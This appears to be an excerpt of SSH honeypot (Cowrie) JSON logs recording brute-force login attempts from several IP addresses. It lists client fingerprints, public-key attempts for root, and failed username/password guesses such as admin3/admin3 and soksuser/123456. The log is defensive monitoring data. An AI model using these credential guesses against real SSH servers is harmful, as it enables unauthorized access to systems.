{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":44300,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e839bf7c4c","protocol":"ssh","message":"New connection: 14.224.213.222:44300 (10.17.0.5:22) [session: 75e839bf7c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:26:16.094178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:26:16.099530Z","src_ip":"14.224.213.222","session":"75e839bf7c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:26:16.354711Z","src_ip":"14.224.213.222","session":"75e839bf7c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd","message":"login attempt [ubuntu/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:26:17.397846Z","src_ip":"14.224.213.222","session":"75e839bf7c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:26:18.653309Z","src_ip":"14.224.213.222","session":"75e839bf7c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37556,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca0ad2843bf6","protocol":"ssh","message":"New connection: 193.32.162.145:37556 (159.203.135.109:22) [session: ca0ad2843bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:16.887691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:16.891405Z","src_ip":"193.32.162.145","session":"ca0ad2843bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:16.997122Z","src_ip":"193.32.162.145","session":"ca0ad2843bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"raydium","message":"login attempt [sol/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:17.312609Z","src_ip":"193.32.162.145","session":"ca0ad2843bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:18.420444Z","src_ip":"193.32.162.145","session":"ca0ad2843bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":48804,"dst_ip":"10.17.0.5","dst_port":22,"session":"b397becf4afc","protocol":"ssh","message":"New connection: 14.224.213.222:48804 (10.17.0.5:22) [session: b397becf4afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:22.227686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:22.233085Z","src_ip":"14.224.213.222","session":"b397becf4afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:22.478396Z","src_ip":"14.224.213.222","session":"b397becf4afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soksuser","password":"123456","message":"login attempt [soksuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:23.476993Z","src_ip":"14.224.213.222","session":"b397becf4afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:24.724673Z","src_ip":"14.224.213.222","session":"b397becf4afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":30210,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d45fe70abf","protocol":"ssh","message":"New connection: 68.235.52.99:30210 (10.17.0.5:22) [session: 60d45fe70abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.224859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.229907Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.265601Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:ff:b5:79:eb:50:7f:2d:dc:5f:81:3c:09:52:51:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdP53MDCoy91+TIn1snZdQd5ASd/9+KCK5jtun8iEnaJS0tNh9jJc7E9EQxxcoYW8zE1iYF5t70UVfdiqX0mEvHIYmLdsE7G3EnJW2XY+1wo1LDJP385ro+KebKYrrK0NFIPvOT3gnAvNmExFqLDOaxZxhzcjKSfsIpu/dxDerHqBnpIDnoyseJPgIxY2vlb7c4Az0/oXxNHYyBCc9/FqvzKSgiNl7I9/Dndghr+puEj9VwePMJentFAZYW3+x0bEH3nOuKDUaOtmXVankXX3i0Fk5Hn8vpE/gQpWFQhBUs/Lt8drwMecOBt/17NbxnhYtQ65XhRaS9AW9DurBP9XF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:ff:b5:79:eb:50:7f:2d:dc:5f:81:3c:09:52:51:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.414890Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:ff:b5:79:eb:50:7f:2d:dc:5f:81:3c:09:52:51:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdP53MDCoy91+TIn1snZdQd5ASd/9+KCK5jtun8iEnaJS0tNh9jJc7E9EQxxcoYW8zE1iYF5t70UVfdiqX0mEvHIYmLdsE7G3EnJW2XY+1wo1LDJP385ro+KebKYrrK0NFIPvOT3gnAvNmExFqLDOaxZxhzcjKSfsIpu/dxDerHqBnpIDnoyseJPgIxY2vlb7c4Az0/oXxNHYyBCc9/FqvzKSgiNl7I9/Dndghr+puEj9VwePMJentFAZYW3+x0bEH3nOuKDUaOtmXVankXX3i0Fk5Hn8vpE/gQpWFQhBUs/Lt8drwMecOBt/17NbxnhYtQ65XhRaS9AW9DurBP9XF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.419096Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:30:c1:3d:77:1b:40:fa:0e:e9:a7:f6:08:19:55:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUljOTDulE0AVAs4d6KG2DzHQUL/O5bxrysC5XrW9O+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2b:30:c1:3d:77:1b:40:fa:0e:e9:a7:f6:08:19:55:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.454682Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:30:c1:3d:77:1b:40:fa:0e:e9:a7:f6:08:19:55:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUljOTDulE0AVAs4d6KG2DzHQUL/O5bxrysC5XrW9O+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.458220Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:6c:90:f2:32:61:6f:e8:b2:f0:37:76:60:3a:b5:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzDOhVDGWs1DnG31MvJo3OiVuBSHvGYCIf+OgB96Ui1qlhsLMNkNNhm3W3TZcYy7OihtCfEiXiLcXrGoJYMyyJAmLydbGiHiCqoJqX0FxjaTQiy6UOEBNbCX03NEY9nS/nyv4cglu4PhdrmLR87hdWcCmlzRhG/nLA2m74XLm5XLGGrklaZBn+0Q702XZH0XQdlvlORr3GhGs6P7nfkU2Q2L1k4bJXib82hr7N6rX7qcjpXK2PkRdOpe9O+dA6LbyktPrPzQAlouvKgP088Nx4Uq3rJI+WwaePXUsnLgvsUpDJXMz+y/WNgDxioKH9Ey9ROCdboVUmXgyNOZwBI+kNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:6c:90:f2:32:61:6f:e8:b2:f0:37:76:60:3a:b5:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.492865Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:6c:90:f2:32:61:6f:e8:b2:f0:37:76:60:3a:b5:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzDOhVDGWs1DnG31MvJo3OiVuBSHvGYCIf+OgB96Ui1qlhsLMNkNNhm3W3TZcYy7OihtCfEiXiLcXrGoJYMyyJAmLydbGiHiCqoJqX0FxjaTQiy6UOEBNbCX03NEY9nS/nyv4cglu4PhdrmLR87hdWcCmlzRhG/nLA2m74XLm5XLGGrklaZBn+0Q702XZH0XQdlvlORr3GhGs6P7nfkU2Q2L1k4bJXib82hr7N6rX7qcjpXK2PkRdOpe9O+dA6LbyktPrPzQAlouvKgP088Nx4Uq3rJI+WwaePXUsnLgvsUpDJXMz+y/WNgDxioKH9Ey9ROCdboVUmXgyNOZwBI+kNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.496233Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:37:72:bf:99:59:95:87:86:04:0a:c1:65:8b:16:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTeqaSkY15d8xvdIDsY6fWR7tq/EEOI2EqmDU6/fKtU5vQuKvVnZPZbpSPEhz8Zv82+TF8300v8oT49Cj6FNHQZWS5ixFqRkE81YclO4JwVubrcpWhMJ/KWksOV8kBY5pUYEzAs+ZfFZi0CnRc0g4Z/xDQcCXYTLMV5/aRSekUFqFT7f0MbSuhUFAjlknGYmU7WHSkJ9AmY7vhaRj+AGGSBmrM4xUfyKQM2AXP1sZjtG3FFNHfm1CAgB3l7u+zrEYYobOYPHsRPfH59U44wXYY3LnbUEG/e/YQjuGVjX1GwmGDe4XjXm4DlYIeKfMA4SVzZisxZOV5pQUe1y1XB1tx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:37:72:bf:99:59:95:87:86:04:0a:c1:65:8b:16:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.530176Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:37:72:bf:99:59:95:87:86:04:0a:c1:65:8b:16:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTeqaSkY15d8xvdIDsY6fWR7tq/EEOI2EqmDU6/fKtU5vQuKvVnZPZbpSPEhz8Zv82+TF8300v8oT49Cj6FNHQZWS5ixFqRkE81YclO4JwVubrcpWhMJ/KWksOV8kBY5pUYEzAs+ZfFZi0CnRc0g4Z/xDQcCXYTLMV5/aRSekUFqFT7f0MbSuhUFAjlknGYmU7WHSkJ9AmY7vhaRj+AGGSBmrM4xUfyKQM2AXP1sZjtG3FFNHfm1CAgB3l7u+zrEYYobOYPHsRPfH59U44wXYY3LnbUEG/e/YQjuGVjX1GwmGDe4XjXm4DlYIeKfMA4SVzZisxZOV5pQUe1y1XB1tx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.533654Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:3b:3f:d9:1f:8f:83:f3:62:27:d4:6e:e7:4f:15:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyITUOtSNknRdfFKpDfVFuMaqPU7NsCpxJ7HSFf/1JsstrrxTUvC41tgnYnYgrAso+VNCeou8fw8zYk40kt9rxINdwpYhwrK6w35uJljmUO4floTq6jwN4PQRl+gPSaP/6cYLNL36a4+XsNFKx40VgjWKmsxPXWdumPDr4833UCX9H8HDWiREX6oWv3nhntgx+mepCVcHxtcAYHc9vy+IFyAWf0rkjUNlRM5RVcUjr7grBvcWeJT66JEF4oFlDv3tbnuXth2May7ggM+Ym5FwKgwVIbpokXP+2PJuyKcjqElon5JBw0jha9MegmjtR5n9XWqBGAzbHlmZQ160DDEqt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:3b:3f:d9:1f:8f:83:f3:62:27:d4:6e:e7:4f:15:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.569214Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:3b:3f:d9:1f:8f:83:f3:62:27:d4:6e:e7:4f:15:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyITUOtSNknRdfFKpDfVFuMaqPU7NsCpxJ7HSFf/1JsstrrxTUvC41tgnYnYgrAso+VNCeou8fw8zYk40kt9rxINdwpYhwrK6w35uJljmUO4floTq6jwN4PQRl+gPSaP/6cYLNL36a4+XsNFKx40VgjWKmsxPXWdumPDr4833UCX9H8HDWiREX6oWv3nhntgx+mepCVcHxtcAYHc9vy+IFyAWf0rkjUNlRM5RVcUjr7grBvcWeJT66JEF4oFlDv3tbnuXth2May7ggM+Ym5FwKgwVIbpokXP+2PJuyKcjqElon5JBw0jha9MegmjtR5n9XWqBGAzbHlmZQ160DDEqt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.573656Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:38.608538Z","src_ip":"68.235.52.99","session":"60d45fe70abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:27:57.903529Z","src_ip":"124.164.251.88","session":"b83afc1a8e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":44920,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0feab9a3be","protocol":"ssh","message":"New connection: 190.244.39.224:44920 (10.17.0.5:22) [session: ed0feab9a3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:06.173305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:06.180934Z","src_ip":"190.244.39.224","session":"ed0feab9a3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:06.380750Z","src_ip":"190.244.39.224","session":"ed0feab9a3be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin3","password":"admin3","message":"login attempt [admin3/admin3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:07.171617Z","src_ip":"190.244.39.224","session":"ed0feab9a3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:08.375607Z","src_ip":"190.244.39.224","session":"ed0feab9a3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":58208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3504900ba3c","protocol":"ssh","message":"New connection: 14.224.213.222:58208 (10.17.0.5:22) [session: f3504900ba3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:27.610941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:27.616406Z","src_ip":"14.224.213.222","session":"f3504900ba3c","protocol":"ssh"}
